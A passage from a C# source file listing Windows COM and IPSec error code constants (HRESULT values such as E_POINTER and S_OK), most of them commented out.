ERROR_IPSEC_IKE_RPC_DELETE = 13877;\n      //public const uint ERROR_IPSEC_IKE_BENIGN_REINIT = 13878;\n      //public const uint ERROR_IPSEC_IKE_INVALID_RESPONDER_LIFETIME_NOTIFY = 13879;\n      //public const uint ERROR_IPSEC_IKE_INVALID_CERT_KEYLEN = 13881;\n      //public const uint ERROR_IPSEC_IKE_MM_LIMIT = 13882;\n      //public const uint ERROR_IPSEC_IKE_NEGOTIATION_DISABLED = 13883;\n      //public const uint ERROR_IPSEC_IKE_NEG_STATUS_END = 13884;\n      //public const uint SEVERITY_SUCCESS = 0;\n      //public const uint SEVERITY_ERROR = 1;\n      //public const uint NOERROR = 0;\n\n      //public const uint E_UNEXPECTED = 0x8000FFFF;\n      //public const uint E_NOTIMPL = 0x80004001;\n      //public const uint E_OUTOFMEMORY = 0x8007000E;\n      //public const uint E_INVALIDARG = 0x80070057;\n      //public const uint E_NOINTERFACE = 0x80004002;\n      public const uint E_POINTER = 0x80004003;\n      //public const uint E_HANDLE = 0x80070006;\n      //public const uint E_ABORT = 0x80004004;\n      //public const uint E_FAIL = 0x80004005;\n      //public const uint E_ACCESSDENIED = 0x80070005;\n      //public const uint E_PENDING = 0x8000000A;\n      //public const uint CO_E_INIT_TLS = 0x80004006;\n      //public const uint CO_E_INIT_SHARED_ALLOCATOR = 0x80004007;\n      //public const uint CO_E_INIT_MEMORY_ALLOCATOR = 0x80004008;\n      //public const uint CO_E_INIT_CLASS_CACHE = 0x80004009;\n      //public const uint CO_E_INIT_RPC_CHANNEL = 0x8000400A;\n      //public const uint CO_E_INIT_TLS_SET_CHANNEL_CONTROL = 0x8000400B;\n      //public const uint CO_E_INIT_TLS_CHANNEL_CONTROL = 0x8000400C;\n      //public const uint CO_E_INIT_UNACCEPTED_USER_ALLOCATOR = 0x8000400D;\n      //public const uint CO_E_INIT_SCM_MUTEX_EXISTS = 0x8000400E;\n      //public const uint CO_E_INIT_SCM_FILE_MAPPING_EXISTS = 0x8000400F;\n      //public const uint CO_E_INIT_SCM_MAP_VIEW_OF_FILE = 0x80004010;\n      //public const uint CO_E_INIT_SCM_EXEC_FAILURE = 0x80004011;\n      //public const uint CO_E_INIT_ONLY_SINGLE_THREADED = 0x80004012;\n      //public const uint CO_E_CANT_REMOTE = 0x80004013;\n      //public const uint CO_E_BAD_SERVER_NAME = 0x80004014;\n      //public const uint CO_E_WRONG_SERVER_IDENTITY = 0x80004015;\n      //public const uint CO_E_OLE1DDE_DISABLED = 0x80004016;\n      //public const uint CO_E_RUNAS_SYNTAX = 0x80004017;\n      //public const uint CO_E_CREATEPROCESS_FAILURE = 0x80004018;\n      //public const uint CO_E_RUNAS_CREATEPROCESS_FAILURE = 0x80004019;\n      //public const uint CO_E_RUNAS_LOGON_FAILURE = 0x8000401A;\n      //public const uint CO_E_LAUNCH_PERMSSION_DENIED = 0x8000401B;\n      //public const uint CO_E_START_SERVICE_FAILURE = 0x8000401C;\n      //public const uint CO_E_REMOTE_COMMUNICATION_FAILURE = 0x8000401D;\n      //public const uint CO_E_SERVER_START_TIMEOUT = 0x8000401E;\n      //public const uint CO_E_CLSREG_INCONSISTENT = 0x8000401F;\n      //public const uint CO_E_IIDREG_INCONSISTENT = 0x80004020;\n      //public const uint CO_E_NOT_SUPPORTED = 0x80004021;\n      //public const uint CO_E_RELOAD_DLL = 0x80004022;\n      //public const uint CO_E_MSI_ERROR = 0x80004023;\n      //public const uint CO_E_ATTEMPT_TO_CREATE_OUTSIDE_CLIENT_CONTEXT = 0x80004024;\n      //public const uint CO_E_SERVER_PAUSED = 0x80004025;\n      //public const uint CO_E_SERVER_NOT_PAUSED = 0x80004026;\n      //public const uint CO_E_CLASS_DISABLED = 0x80004027;\n      //public const uint CO_E_CLRNOTAVAILABLE = 0x80004028;\n      //public const uint CO_E_ASYNC_WORK_REJECTED = 0x80004029;\n      //public const uint CO_E_SERVER_INIT_TIMEOUT = 0x8000402A;\n      //public const uint CO_E_NO_SECCTX_IN_ACTIVATE = 0x8000402B;\n      //public const uint CO_E_TRACKER_CONFIG = 0x80004030;\n      //public const uint CO_E_THREADPOOL_CONFIG = 0x80004031;\n      //public const uint CO_E_SXS_CONFIG = 0x80004032;\n      //public const uint CO_E_MALFORMED_SPN = 0x80004033;\n\n      /// <summary>(0) The operation completed successfully.</summary>\n      public const uint S_OK = 0x00000000;\n\n      //public const uint S_FALSE = 0x00000001;\n      //public const uint OLE_E_FIRST = 0x80040000;\n      //public const uint OLE_E_LAST = 0x800400FF;\n      //public const uint OLE_S_FIRST = 0x00040000;\n      //public const uint OLE_S_LAST = 0x000400FF;\n      //public const uint OLE_E_OLEVERB = 0x80040000;\n      //public const uint OLE_E_ADVF = 0x80040001;\n      //public const uint OLE_E_ENUM_NOMORE = 0x80040002;\n      //public const uint OLE_E_ADVISENOTSUPPORTED = 0x80040003;\n      //public const uint OLE_E_NOCONNECTION = 0x80040004;\n      //public const uint OLE_E_NOTRUNNING = 0x80040005;\n      //public const uint OLE_E_NOCACHE = 0x80040006;\n      //public const uint OLE_E_BLANK = 0x80040007;\n      //public const uint OLE_E_CLASSDIFF = 0x80040008;\n      //public const uint OLE_E_CANT_GETMONIKER = 0x80040009;\n      //public const uint OLE_E_CANT_BINDTOSOURCE = 0x8004000A;\n      //public const uint OLE_E_STATIC = 0x8004000B;\n      //public const uint OLE_E_PROMPTSAVECANCELLED = 0x8004000C;\n      //public const uint OLE_E_INVALIDRECT = 0x8004000D;\n      //public const uint OLE_E_WRONGCOMPOBJ = 0x8004000E;\n      //public const uint OLE_E_INVALIDHWND = 0x8004000F;\n      //public const uint OLE_E_NOT_INPLACEACTIVE = 0x80040010;\n      //public const uint OLE_E_CANTCONVERT = 0x80040011;\n      //public const uint OLE_E_NOSTORAGE = 0x80040012;\n      //public const uint DV_E_FORMATETC = 0x80040064;\n      //public const uint DV_E_DVTARGETDEVICE = 0x80040065;\n      //public const uint DV_E_STGMEDIUM = 0x80040066;\n      //public const uint DV_E_STATDATA = 0x80040067;\n      //public const uint DV_E_LINDEX = 0x80040068;\n      //public const uint DV_E_TYMED = 0x80040069;\n      //public const uint DV_E_CLIPFORMAT = 0x8004006A;\n      //public const uint DV_E_DVASPECT = 0x8004006B;\n      //public const uint DV_E_DVTARGETDEVICE_SIZE = 0x8004006C;\n      //public const uint DV_E_NOIVIEWOBJECT = 0x8004006D;\n      //public const uint DRAGDROP_E_FIRST = 0x80040100;\n      //public const uint DRAGDROP_E_LAST = 0x8004010F;\n      //public const uint DRAGDROP_S_FIRST = 0x00040100;\n      //public const uint DRAGDROP_S_LAST = 0x0004010F;\n      //public const uint DRAGDROP_E_NOTREGISTERED = 0x80040100;\n      //public const uint DRAGDROP_E_ALREADYREGISTERED = 0x80040101;\n      //public const uint DRAGDROP_E_INVALIDHWND = 0x80040102;\n      //public const uint CLASSFACTORY_E_FIRST = 0x80040110;\n      //public const uint CLASSFACTORY_E_LAST = 0x8004011F;\n      //public const uint CLASSFACTORY_S_FIRST = 0x00040110;\n      //public const uint CLASSFACTORY_S_LAST = 0x0004011F;\n      //public const uint CLASS_E_NOAGGREGATION = 0x80040110;\n      //public const uint CLASS_E_CLASSNOTAVAILABLE = 0x80040111;\n      //public const uint CLASS_E_NOTLICENSED = 0x80040112;\n      //public const uint MARSHAL_E_FIRST = 0x80040120;\n      //public const uint MARSHAL_E_LAST = 0x8004012F;\n      //public const uint MARSHAL_S_FIRST = 0x00040120;\n      //public const uint MARSHAL_S_LAST = 0x0004012F;\n      //public const uint DATA_E_FIRST = 0x80040130;\n      //public const uint DATA_E_LAST = 0x8004013F;\n      //public const uint DATA_S_FIRST = 0x00040130;\n      //public const uint DATA_S_LAST = 0x0004013F;\n      //public const uint VIEW_E_FIRST = 0x80040140;\n      //public const uint VIEW_E_LAST = 0x8004014F;\n      //public const uint VIEW_S_FIRST = 0x00040140;\n      //public const uint VIEW_S_LAST = 0x0004014F;\n      //public const uint VIEW_E_DRAW = 0x80040140;\n      //public const uint REGDB_E_FIRST = 0x80040150;\n      //public const uint REGDB_E_LAST = 0x8004015F;\n      //public const uint REGDB_S_FIRST = 0x00040150;\n      //public const uint REGDB_S_LAST = 0x0004015F;\n      //public const uint REGDB_E_READREGDB = 0x80040150;\n      //public const uint REGDB_E_WRITEREGDB = 0x80040151;\n      //public const uint REGDB_E_KEYMISSING = 0x80040152;\n      //public const uint REGDB_E_INVALIDVALUE = 0x80040153;\n      //public const uint REGDB_E_CLASSNOTREG = 0x80040154;\n      //public const uint REGDB_E_IIDNOTREG = 0x80040155;\n      //public const uint REGDB_E_BADTHREADINGMODEL = 0x80040156;\n      //public const uint CAT_E_FIRST = 0x80040160;\n      //public const uint CAT_E_LAST = 0x80040161;\n      //public const uint CAT_E_CATIDNOEXIST = 0x80040160;\n      //public const uint CAT_E_NODESCRIPTION = 0x80040161;\n      //public const uint CS_E_FIRST = 0x80040164;\n      //public const uint CS_E_LAST = 0x8004016F;\n      //public const uint CS_E_PACKAGE_NOTFOUND = 0x80040164;\n      //public const uint CS_E_NOT_DELETABLE = 0x80040165;\n      //public const uint CS_E_CLASS_NOTFOUND = 0x80040166;\n      //public const uint CS_E_INVALID_VERSION = 0x80040167;\n      //public const uint CS_E_NO_CLASSSTORE = 0x80040168;\n      //public const uint CS_E_OBJECT_NOTFOUND = 0x80040169;\n      //public const uint CS_E_OBJECT_ALREADY_EXISTS = 0x8004016A;\n      //public const uint CS_E_INVALID_PATH = 0x8004016B;\n      //public const uint CS_E_NETWORK_ERROR = 0x8004016C;\n      //public const uint CS_E_ADMIN_LIMIT_EXCEEDED = 0x8004016D;\n      //public const uint CS_E_SCHEMA_MISMATCH = 0x8004016E;\n      //public const uint CS_E_INTERNAL_ERROR = 0x8004016F;\n      //public const uint CACHE_E_FIRST = 0x80040170;\n      //public const uint CACHE_E_LAST = 0x8004017F;\n      //public const uint CACHE_S_FIRST = 0x00040170;\n      //public const uint CACHE_S_LAST = 0x0004017F;\n      //public const uint CACHE_E_NOCACHE_UPDATED = 0x80040170;\n      //public const uint OLEOBJ_E_FIRST = 0x80040180;\n      //public const uint OLEOBJ_E_LAST = 0x8004018F;\n      //public const uint OLEOBJ_S_FIRST = 0x00040180;\n      //public const uint OLEOBJ_S_LAST = 0x0004018F;\n      //public const uint OLEOBJ_E_NOVERBS = 0x80040180;\n      //public const uint OLEOBJ_E_INVALIDVERB = 0x80040181;\n      //public const uint CLIENTSITE_E_FIRST = 0x80040190;\n      //public const uint CLIENTSITE_E_LAST = 0x8004019F;\n      //public const uint CLIENTSITE_S_FIRST = 0x00040190;\n      //public const uint CLIENTSITE_S_LAST = 0x0004019F;\n      //public const uint INPLACE_E_NOTUNDOABLE = 0x800401A0;\n      //public const uint INPLACE_E_NOTOOLSPACE = 0x800401A1;\n      //public const uint INPLACE_E_FIRST = 0x800401A0;\n      //public const uint INPLACE_E_LAST = 0x800401AF;\n      //public const uint INPLACE_S_FIRST = 0x000401A0;\n      //public const uint INPLACE_S_LAST = 0x000401AF;\n      //public const uint ENUM_E_FIRST = 0x800401B0;\n      //public const uint ENUM_E_LAST = 0x800401BF;\n      //public const uint ENUM_S_FIRST = 0x000401B0;\n      //public const uint ENUM_S_LAST = 0x000401BF;\n      //public const uint CONVERT10_E_FIRST = 0x800401C0;\n      //public const uint CONVERT10_E_LAST = 0x800401CF;\n      //public const uint CONVERT10_S_FIRST = 0x000401C0;\n      //public const uint CONVERT10_S_LAST = 0x000401CF;\n      //public const uint CONVERT10_E_OLESTREAM_GET = 0x800401C0;\n      //public const uint CONVERT10_E_OLESTREAM_PUT = 0x800401C1;\n      //public const uint CONVERT10_E_OLESTREAM_FMT = 0x800401C2;\n      //public const uint CONVERT10_E_OLESTREAM_BITMAP_TO_DIB = 0x800401C3;\n      //public const uint CONVERT10_E_STG_FMT = 0x800401C4;\n      //public const uint CONVERT10_E_STG_NO_STD_STREAM = 0x800401C5;\n      //public const uint CONVERT10_E_STG_DIB_TO_BITMAP = 0x800401C6;\n      //public const uint CLIPBRD_E_FIRST = 0x800401D0;\n      //public const uint CLIPBRD_E_LAST = 0x800401DF;\n      //public const uint CLIPBRD_S_FIRST = 0x000401D0;\n      //public const uint CLIPBRD_S_LAST = 0x000401DF;\n      //public const uint CLIPBRD_E_CANT_OPEN = 0x800401D0;\n      //public const uint CLIPBRD_E_CANT_EMPTY = 0x800401D1;\n      //public const uint CLIPBRD_E_CANT_SET = 0x800401D2;\n      //public const uint CLIPBRD_E_BAD_DATA = 0x800401D3;\n      //public const uint CLIPBRD_E_CANT_CLOSE = 0x800401D4;\n      //public const uint MK_E_FIRST = 0x800401E0;\n      //public const uint MK_E_LAST = 0x800401EF;\n      //public const uint MK_S_FIRST = 0x000401E0;\n      //public const uint MK_S_LAST = 0x000401EF;\n      //public const uint MK_E_CONNECTMANUALLY = 0x800401E0;\n      //public const uint MK_E_EXCEEDEDDEADLINE = 0x800401E1;\n      //public const uint MK_E_NEEDGENERIC = 0x800401E2;\n      //public const uint MK_E_UNAVAILABLE = 0x800401E3;\n      //public const uint MK_E_SYNTAX = 0x800401E4;\n      //public const uint MK_E_NOOBJECT = 0x800401E5;\n      //public const uint MK_E_INVALIDEXTENSION = 0x800401E6;\n      //public const uint MK_E_INTERMEDIATEINTERFACENOTSUPPORTED = 0x800401E7;\n      //public const uint MK_E_NOTBINDABLE = 0x800401E8;\n      //public const uint MK_E_NOTBOUND = 0x800401E9;\n      //public const uint MK_E_CANTOPENFILE = 0x800401EA;\n      //public const uint MK_E_MUSTBOTHERUSER = 0x800401EB;\n      //public const uint MK_E_NOINVERSE = 0x800401EC;\n      //public const uint MK_E_NOSTORAGE = 0x800401ED;\n      //public const uint MK_E_NOPREFIX = 0x800401EE;\n      //public const uint MK_E_ENUMERATION_FAILED = 0x800401EF;\n      //public const uint CO_E_FIRST = 0x800401F0;\n      //public const uint CO_E_LAST = 0x800401FF;\n      //public const uint CO_S_FIRST = 0x000401F0;\n      //public const uint CO_S_LAST = 0x000401FF;\n      //public const uint CO_E_NOTINITIALIZED = 0x800401F0;\n      //public const uint CO_E_ALREADYINITIALIZED = 0x800401F1;\n      //public const uint CO_E_CANTDETERMINECLASS = 0x800401F2;\n      //public const uint CO_E_CLASSSTRING = 0x800401F3;\n      //public const uint CO_E_IIDSTRING = 0x800401F4;\n      //public const uint CO_E_APPNOTFOUND = 0x800401F5;\n      //public const uint CO_E_APPSINGLEUSE = 0x800401F6;\n      //public const uint CO_E_ERRORINAPP = 0x800401F7;\n      //public const uint CO_E_DLLNOTFOUND = 0x800401F8;\n      //public const uint CO_E_ERRORINDLL = 0x800401F9;\n      //public const uint CO_E_WRONGOSFORAPP = 0x800401FA;\n      //public const uint CO_E_OBJNOTREG = 0x800401FB;\n      //public const uint CO_E_OBJISREG = 0x800401FC;\n      //public const uint CO_E_OBJNOTCONNECTED = 0x800401FD;\n      //public const uint CO_E_APPDIDNTREG = 0x800401FE;\n      //public const uint CO_E_RELEASED = 0x800401FF;\n      //public const uint EVENT_E_FIRST = 0x80040200;\n      //public const uint EVENT_E_LAST = 0x8004021F;\n      //public const uint EVENT_S_FIRST = 0x00040200;\n      //public const uint EVENT_S_LAST = 0x0004021F;\n      //public const uint EVENT_S_SOME_SUBSCRIBERS_FAILED = 0x00040200;\n      //public const uint EVENT_E_ALL_SUBSCRIBERS_FAILED = 0x80040201;\n      //public const uint EVENT_S_NOSUBSCRIBERS = 0x00040202;\n      //public const uint EVENT_E_QUERYSYNTAX = 0x80040203;\n      //public const uint EVENT_E_QUERYFIELD = 0x80040204;\n      //public const uint EVENT_E_INTERNALEXCEPTION = 0x80040205;\n      //public const uint EVENT_E_INTERNALERROR = 0x80040206;\n      //public const uint EVENT_E_INVALID_PER_USER_SID = 0x80040207;\n      //public const uint EVENT_E_USER_EXCEPTION = 0x80040208;\n      //public const uint EVENT_E_TOO_MANY_METHODS = 0x80040209;\n      //public const uint EVENT_E_MISSING_EVENTCLASS = 0x8004020A;\n      //public const uint EVENT_E_NOT_ALL_REMOVED = 0x8004020B;\n      //public const uint EVENT_E_COMPLUS_NOT_INSTALLED = 0x8004020C;\n      //public const uint EVENT_E_CANT_MODIFY_OR_DELETE_UNCONFIGURED_OBJECT = 0x8004020D;\n      //public const uint EVENT_E_CANT_MODIFY_OR_DELETE_CONFIGURED_OBJECT = 0x8004020E;\n      //public const uint EVENT_E_INVALID_EVENT_CLASS_PARTITION = 0x8004020F;\n      //public const uint EVENT_E_PER_USER_SID_NOT_LOGGED_ON = 0x80040210;\n      //public const uint XACT_E_FIRST = 0x8004D000;\n      //public const uint XACT_E_LAST = 0x8004D029;\n      //public const uint XACT_S_FIRST = 0x0004D000;\n      //public const uint XACT_S_LAST = 0x0004D010;\n      //public const uint XACT_E_ALREADYOTHERSINGLEPHASE = 0x8004D000;\n      //public const uint XACT_E_CANTRETAIN = 0x8004D001;\n      //public const uint XACT_E_COMMITFAILED = 0x8004D002;\n      //public const uint XACT_E_COMMITPREVENTED = 0x8004D003;\n      //public const uint XACT_E_HEURISTICABORT = 0x8004D004;\n      //public const uint XACT_E_HEURISTICCOMMIT = 0x8004D005;\n      //public const uint XACT_E_HEURISTICDAMAGE = 0x8004D006;\n      //public const uint XACT_E_HEURISTICDANGER = 0x8004D007;\n      //public const uint XACT_E_ISOLATIONLEVEL = 0x8004D008;\n      //public const uint XACT_E_NOASYNC = 0x8004D009;\n      //public const uint XACT_E_NOENLIST = 0x8004D00A;\n      //public const uint XACT_E_NOISORETAIN = 0x8004D00B;\n      //public const uint XACT_E_NORESOURCE = 0x8004D00C;\n      //public const uint XACT_E_NOTCURRENT = 0x8004D00D;\n      //public const uint XACT_E_NOTRANSACTION = 0x8004D00E;\n      //public const uint XACT_E_NOTSUPPORTED = 0x8004D00F;\n      //public const uint XACT_E_UNKNOWNRMGRID = 0x8004D010;\n      //public const uint XACT_E_WRONGSTATE = 0x8004D011;\n      //public const uint XACT_E_WRONGUOW = 0x8004D012;\n      //public const uint XACT_E_XTIONEXISTS = 0x8004D013;\n      //public const uint XACT_E_NOIMPORTOBJECT = 0x8004D014;\n      //public const uint XACT_E_INVALIDCOOKIE = 0x8004D015;\n      //public const uint XACT_E_INDOUBT = 0x8004D016;\n      //public const uint XACT_E_NOTIMEOUT = 0x8004D017;\n      //public const uint XACT_E_ALREADYINPROGRESS = 0x8004D018;\n      //public const uint XACT_E_ABORTED = 0x8004D019;\n      //public const uint XACT_E_LOGFULL = 0x8004D01A;\n      //public const uint XACT_E_TMNOTAVAILABLE = 0x8004D01B;\n      //public const uint XACT_E_CONNECTION_DOWN = 0x8004D01C;\n      //public const uint XACT_E_CONNECTION_DENIED = 0x8004D01D;\n      //public const uint XACT_E_REENLISTTIMEOUT = 0x8004D01E;\n      //public const uint XACT_E_TIP_CONNECT_FAILED = 0x8004D01F;\n      //public const uint XACT_E_TIP_PROTOCOL_ERROR = 0x8004D020;\n      //public const uint XACT_E_TIP_PULL_FAILED = 0x8004D021;\n      //public const uint XACT_E_DEST_TMNOTAVAILABLE = 0x8004D022;\n      //public const uint XACT_E_TIP_DISABLED = 0x8004D023;\n      //public const uint XACT_E_NETWORK_TX_DISABLED = 0x8004D024;\n      //public const uint XACT_E_PARTNER_NETWORK_TX_DISABLED = 0x8004D025;\n      //public const uint XACT_E_XA_TX_DISABLED = 0x8004D026;\n      //public const uint XACT_E_UNABLE_TO_READ_DTC_CONFIG = 0x8004D027;\n      //public const uint XACT_E_UNABLE_TO_LOAD_DTC_PROXY = 0x8004D028;\n      //public const uint XACT_E_ABORTING = 0x8004D029;\n      //public const uint XACT_E_CLERKNOTFOUND = 0x8004D080;\n      //public const uint XACT_E_CLERKEXISTS = 0x8004D081;\n      //public const uint XACT_E_RECOVERYINPROGRESS = 0x8004D082;\n      //public const uint XACT_E_TRANSACTIONCLOSED = 0x8004D083;\n      //public const uint XACT_E_INVALIDLSN = 0x8004D084;\n      //public const uint XACT_E_REPLAYREQUEST = 0x8004D085;\n      //public const uint XACT_S_ASYNC = 0x0004D000;\n      //public const uint XACT_S_DEFECT = 0x0004D001;\n      //public const uint XACT_S_READONLY = 0x0004D002;\n      //public const uint XACT_S_SOMENORETAIN = 0x0004D003;\n      //public const uint XACT_S_OKINFORM = 0x0004D004;\n      //public const uint XACT_S_MADECHANGESCONTENT = 0x0004D005;\n      //public const uint XACT_S_MADECHANGESINFORM = 0x0004D006;\n      //public const uint XACT_S_ALLNORETAIN = 0x0004D007;\n      //public const uint XACT_S_ABORTING = 0x0004D008;\n      //public const uint XACT_S_SINGLEPHASE = 0x0004D009;\n      //public const uint XACT_S_LOCALLY_OK = 0x0004D00A;\n      //public const uint XACT_S_LASTRESOURCEMANAGER = 0x0004D010;\n      //public const uint CONTEXT_E_FIRST = 0x8004E000;\n      //public const uint CONTEXT_E_LAST = 0x8004E02F;\n      //public const uint CONTEXT_S_FIRST = 0x0004E000;\n      //public const uint CONTEXT_S_LAST = 0x0004E02F;\n      //public const uint CONTEXT_E_ABORTED = 0x8004E002;\n      //public const uint CONTEXT_E_ABORTING = 0x8004E003;\n      //public const uint CONTEXT_E_NOCONTEXT = 0x8004E004;\n      //public const uint CONTEXT_E_WOULD_DEADLOCK = 0x8004E005;\n      //public const uint CONTEXT_E_SYNCH_TIMEOUT = 0x8004E006;\n      //public const uint CONTEXT_E_OLDREF = 0x8004E007;\n      //public const uint CONTEXT_E_ROLENOTFOUND = 0x8004E00C;\n      //public const uint CONTEXT_E_TMNOTAVAILABLE = 0x8004E00F;\n      //public const uint CO_E_ACTIVATIONFAILED = 0x8004E021;\n      //public const uint CO_E_ACTIVATIONFAILED_EVENTLOGGED = 0x8004E022;\n      //public const uint CO_E_ACTIVATIONFAILED_CATALOGERROR = 0x8004E023;\n      //public const uint CO_E_ACTIVATIONFAILED_TIMEOUT = 0x8004E024;\n      //public const uint CO_E_INITIALIZATIONFAILED = 0x8004E025;\n      //public const uint CONTEXT_E_NOJIT = 0x8004E026;\n      //public const uint CONTEXT_E_NOTRANSACTION = 0x8004E027;\n      //public const uint CO_E_THREADINGMODEL_CHANGED = 0x8004E028;\n      //public const uint CO_E_NOIISINTRINSICS = 0x8004E029;\n      //public const uint CO_E_NOCOOKIES = 0x8004E02A;\n      //public const uint CO_E_DBERROR = 0x8004E02B;\n      //public const uint CO_E_NOTPOOLED = 0x8004E02C;\n      //public const uint CO_E_NOTCONSTRUCTED = 0x8004E02D;\n      //public const uint CO_E_NOSYNCHRONIZATION = 0x8004E02E;\n      //public const uint CO_E_ISOLEVELMISMATCH = 0x8004E02F;\n      //public const uint OLE_S_USEREG = 0x00040000;\n      //public const uint OLE_S_STATIC = 0x00040001;\n      //public const uint OLE_S_MAC_CLIPFORMAT = 0x00040002;\n      //public const uint DRAGDROP_S_DROP = 0x00040100;\n      //public const uint DRAGDROP_S_CANCEL = 0x00040101;\n      //public const uint DRAGDROP_S_USEDEFAULTCURSORS = 0x00040102;\n      //public const uint DATA_S_SAMEFORMATETC = 0x00040130;\n      //public const uint VIEW_S_ALREADY_FROZEN = 0x00040140;\n      //public const uint CACHE_S_FORMATETC_NOTSUPPORTED = 0x00040170;\n      //public const uint CACHE_S_SAMECACHE = 0x00040171;\n      //public const uint CACHE_S_SOMECACHES_NOTUPDATED = 0x00040172;\n      //public const uint OLEOBJ_S_INVALIDVERB = 0x00040180;\n      //public const uint OLEOBJ_S_CANNOT_DOVERB_NOW = 0x00040181;\n      //public const uint OLEOBJ_S_INVALIDHWND = 0x00040182;\n      //public const uint INPLACE_S_TRUNCATED = 0x000401A0;\n      //public const uint CONVERT10_S_NO_PRESENTATION = 0x000401C0;\n      //public const uint MK_S_REDUCED_TO_SELF = 0x000401E2;\n      //public const uint MK_S_ME = 0x000401E4;\n      //public const uint MK_S_HIM = 0x000401E5;\n      //public const uint MK_S_US = 0x000401E6;\n      //public const uint MK_S_MONIKERALREADYREGISTERED = 0x000401E7;\n      //public const uint SCHED_S_TASK_READY = 0x00041300;\n      //public const uint SCHED_S_TASK_RUNNING = 0x00041301;\n      //public const uint SCHED_S_TASK_DISABLED = 0x00041302;\n      //public const uint SCHED_S_TASK_HAS_NOT_RUN = 0x00041303;\n      //public const uint SCHED_S_TASK_NO_MORE_RUNS = 0x00041304;\n      //public const uint SCHED_S_TASK_NOT_SCHEDULED = 0x00041305;\n      //public const uint SCHED_S_TASK_TERMINATED = 0x00041306;\n      //public const uint SCHED_S_TASK_NO_VALID_TRIGGERS = 0x00041307;\n      //public const uint SCHED_S_EVENT_TRIGGER = 0x00041308;\n      //public const uint SCHED_E_TRIGGER_NOT_FOUND = 0x80041309;\n      //public const uint SCHED_E_TASK_NOT_READY = 0x8004130A;\n      //public const uint SCHED_E_TASK_NOT_RUNNING = 0x8004130B;\n      //public const uint SCHED_E_SERVICE_NOT_INSTALLED = 0x8004130C;\n      //public const uint SCHED_E_CANNOT_OPEN_TASK = 0x8004130D;\n      //public const uint SCHED_E_INVALID_TASK = 0x8004130E;\n      //public const uint SCHED_E_ACCOUNT_INFORMATION_NOT_SET = 0x8004130F;\n      //public const uint SCHED_E_ACCOUNT_NAME_NOT_FOUND = 0x80041310;\n      //public const uint SCHED_E_ACCOUNT_DBASE_CORRUPT = 0x80041311;\n      //public const uint SCHED_E_NO_SECURITY_SERVICES = 0x80041312;\n      //public const uint SCHED_E_UNKNOWN_OBJECT_VERSION = 0x80041313;\n      //public const uint SCHED_E_UNSUPPORTED_ACCOUNT_OPTION = 0x80041314;\n      //public const uint SCHED_E_SERVICE_NOT_RUNNING = 0x80041315;\n      //public const uint CO_E_CLASS_CREATE_FAILED = 0x80080001;\n      //public const uint CO_E_SCM_ERROR = 0x80080002;\n      //public const uint CO_E_SCM_RPC_FAILURE = 0x80080003;\n      //public const uint CO_E_BAD_PATH = 0x80080004;\n      //public const uint CO_E_SERVER_EXEC_FAILURE = 0x80080005;\n      //public const uint CO_E_OBJSRV_RPC_FAILURE = 0x80080006;\n      //public const uint MK_E_NO_NORMALIZED = 0x80080007;\n      //public const uint CO_E_SERVER_STOPPING = 0x80080008;\n      //public const uint MEM_E_INVALID_ROOT = 0x80080009;\n      //public const uint MEM_E_INVALID_LINK = 0x80080010;\n      //public const uint MEM_E_INVALID_SIZE = 0x80080011;\n      //public const uint CO_S_NOTALLINTERFACES = 0x00080012;\n      //public const uint CO_S_MACHINENAMENOTFOUND = 0x00080013;\n      //public const uint DISP_E_UNKNOWNINTERFACE = 0x80020001;\n      //public const uint DISP_E_MEMBERNOTFOUND = 0x80020003;\n      //public const uint DISP_E_PARAMNOTFOUND = 0x80020004;\n      //public const uint DISP_E_TYPEMISMATCH = 0x80020005;\n      //public const uint DISP_E_UNKNOWNNAME = 0x80020006;\n      //public const uint DISP_E_NONAMEDARGS = 0x80020007;\n      //public const uint DISP_E_BADVARTYPE = 0x80020008;\n      //public const uint DISP_E_EXCEPTION = 0x80020009;\n      //public const uint DISP_E_OVERFLOW = 0x8002000A;\n      //public const uint DISP_E_BADINDEX = 0x8002000B;\n      //public const uint DISP_E_UNKNOWNLCID = 0x8002000C;\n      //public const uint DISP_E_ARRAYISLOCKED = 0x8002000D;\n      //public const uint DISP_E_BADPARAMCOUNT = 0x8002000E;\n      //public const uint DISP_E_PARAMNOTOPTIONAL = 0x8002000F;\n      //public const uint DISP_E_BADCALLEE = 0x80020010;\n      //public const uint DISP_E_NOTACOLLECTION = 0x80020011;\n      //public const uint DISP_E_DIVBYZERO = 0x80020012;\n      //public const uint DISP_E_BUFFERTOOSMALL = 0x80020013;\n      //public const uint TYPE_E_BUFFERTOOSMALL = 0x80028016;\n      //public const uint TYPE_E_FIELDNOTFOUND = 0x80028017;\n      //public const uint TYPE_E_INVDATAREAD = 0x80028018;\n      //public const uint TYPE_E_UNSUPFORMAT = 0x80028019;\n      //public const uint TYPE_E_REGISTRYACCESS = 0x8002801C;\n      //public const uint TYPE_E_LIBNOTREGISTERED = 0x8002801D;\n      //public const uint TYPE_E_UNDEFINEDTYPE = 0x80028027;\n      //public const uint TYPE_E_QUALIFIEDNAMEDISALLOWED = 0x80028028;\n      //public const uint TYPE_E_INVALIDSTATE = 0x80028029;\n      //public const uint TYPE_E_WRONGTYPEKIND = 0x8002802A;\n      //public const uint TYPE_E_ELEMENTNOTFOUND = 0x8002802B;\n      //public const uint TYPE_E_AMBIGUOUSNAME = 0x8002802C;\n      //public const uint TYPE_E_NAMECONFLICT = 0x8002802D;\n      //public const uint TYPE_E_UNKNOWNLCID = 0x8002802E;\n      //public const uint TYPE_E_DLLFUNCTIONNOTFOUND = 0x8002802F;\n      //public const uint TYPE_E_BADMODULEKIND = 0x800288BD;\n      //public const uint TYPE_E_SIZETOOBIG = 0x800288C5;\n      //public const uint TYPE_E_DUPLICATEID = 0x800288C6;\n      //public const uint TYPE_E_INVALIDID = 0x800288CF;\n      //public const uint TYPE_E_TYPEMISMATCH = 0x80028CA0;\n      //public const uint TYPE_E_OUTOFBOUNDS = 0x80028CA1;\n      //public const uint TYPE_E_IOERROR = 0x80028CA2;\n      //public const uint TYPE_E_CANTCREATETMPFILE = 0x80028CA3;\n      //public const uint TYPE_E_CANTLOADLIBRARY = 0x80029C4A;\n      //public const uint TYPE_E_INCONSISTENTPROPFUNCS = 0x80029C83;\n      //public const uint TYPE_E_CIRCULARTYPE = 0x80029C84;\n      //public const uint STG_E_INVALIDFUNCTION = 0x80030001;\n      //public const uint STG_E_FILENOTFOUND = 0x80030002;\n      //public const uint STG_E_PATHNOTFOUND = 0x80030003;\n      //public const uint STG_E_TOOMANYOPENFILES = 0x80030004;\n      //public const uint STG_E_ACCESSDENIED = 0x80030005;\n      //public const uint STG_E_INVALIDHANDLE = 0x80030006;\n      